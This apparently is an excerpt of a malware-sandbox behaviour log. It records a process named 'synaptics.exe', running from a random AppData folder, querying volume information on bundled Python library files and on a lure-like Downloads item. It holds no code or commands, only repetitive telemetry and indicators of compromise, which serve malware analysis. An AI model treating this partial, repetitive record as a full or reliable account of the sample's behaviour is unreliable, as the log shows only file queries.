              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\collections\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\collections\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\collections\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\collections VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\collections\__pycache__\__init__.cpython-310.pyc.23945848 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\keyword.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\keyword.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\keyword.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\keyword.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\keyword.cpython-310.pyc.25164672 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\operator.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\operator.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\operator.cpython-310.pyc.25164776 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\reprlib.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\reprlib.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\reprlib.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\reprlib.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\reprlib.cpython-310.pyc.25342088 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\copyreg.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\copyreg.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\copyreg.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\copyreg.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\copyreg.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\copyreg.cpython-310.pyc.25297448 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\struct.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\struct.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\struct.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\struct.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\struct.cpython-310.pyc.23876032 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\__pycache__\__init__.cpython-310.pyc.25167312 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\request.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\request.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\request.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\request.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\request.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\urllib\__pycache__\request.cpython-310.pyc.25167088 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\bisect.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\bisect.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\bisect.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\bisect.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\bisect.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\bisect.cpython-310.pyc.29715744 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\__init__.cpython-310.pyc.25168880 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\hashlib.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\hashlib.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\hashlib.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\hashlib.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\hashlib.cpython-310.pyc.29771944 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs\_hashlib.pyd VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\__init__.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\__pycache__\__init__.cpython-310.pyc.25168208 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\client.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\client.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\client.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\client.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\client.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\http\__pycache__\client.cpython-310.pyc.25169776 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\parser.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\parser.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\parser.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\parser.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\parser.cpython-310.pyc.29631056 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\feedparser.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\feedparser.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\feedparser.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\feedparser.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\feedparser.cpython-310.pyc.29631168 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\errors.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\errors.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\errors.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\errors.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\errors.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\errors.cpython-310.pyc.29631392 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\_policybase.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\_policybase.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\_policybase.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\_policybase.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\_policybase.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\_policybase.cpython-310.pyc.23948968 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\header.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\header.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\header.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\header.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\header.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\header.cpython-310.pyc.29631280 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\quoprimime.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\quoprimime.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\quoprimime.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\quoprimime.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\quoprimime.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\__pycache__\quoprimime.cpython-310.pyc.29630720 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\Downloads\Compilation of copyright-protected videos and images VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\DLLs VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\string.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\string.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\string.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\string.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\string.py VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__ VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\string.cpython-310.pyc.30123368 VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email VolumeInformation
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeQueries volume information: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\email\base64mime.py VolumeInformation
